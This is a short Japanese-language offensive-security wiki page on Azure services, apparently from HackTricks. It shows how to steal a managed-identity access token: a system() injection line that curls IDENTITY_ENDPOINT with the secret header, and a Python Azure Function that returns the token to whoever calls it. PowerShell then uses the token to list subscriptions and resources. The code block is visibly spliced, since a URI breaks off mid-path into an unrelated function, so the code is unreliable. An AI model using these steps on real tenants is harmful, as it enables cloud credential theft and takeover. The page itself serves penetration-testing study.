# Az - Services {{#include ../../../banners/hacktricks-training.md}} ## ポータル **Microsoftポータルのリストは** [**https://msportals.io/**](https://msportals.io/) **で見つけることができます。** ### 生リクエスト #### Powershell経由のAzure API **IDENTITY_HEADER** と **IDENTITY_ENDPOINT** から **access_token** を取得します: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`。 次に、Azure REST APIにクエリを送信して **subscription ID** などを取得します。 ```bash $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # List resources and check for runCommand privileges $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: logging.info('Python HTTP trigger function processed a request.') IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) val = os.popen(cmd).read() return func.HttpResponse(val, status_code=200) ``` ## サービスのリスト **このセクションのページはAzureサービスによって整理されています。ここでは、サービスに関する情報(動作方法と機能)や、各サービスを列挙する方法を見つけることができます。** {{#include ../../../banners/hacktricks-training.md}}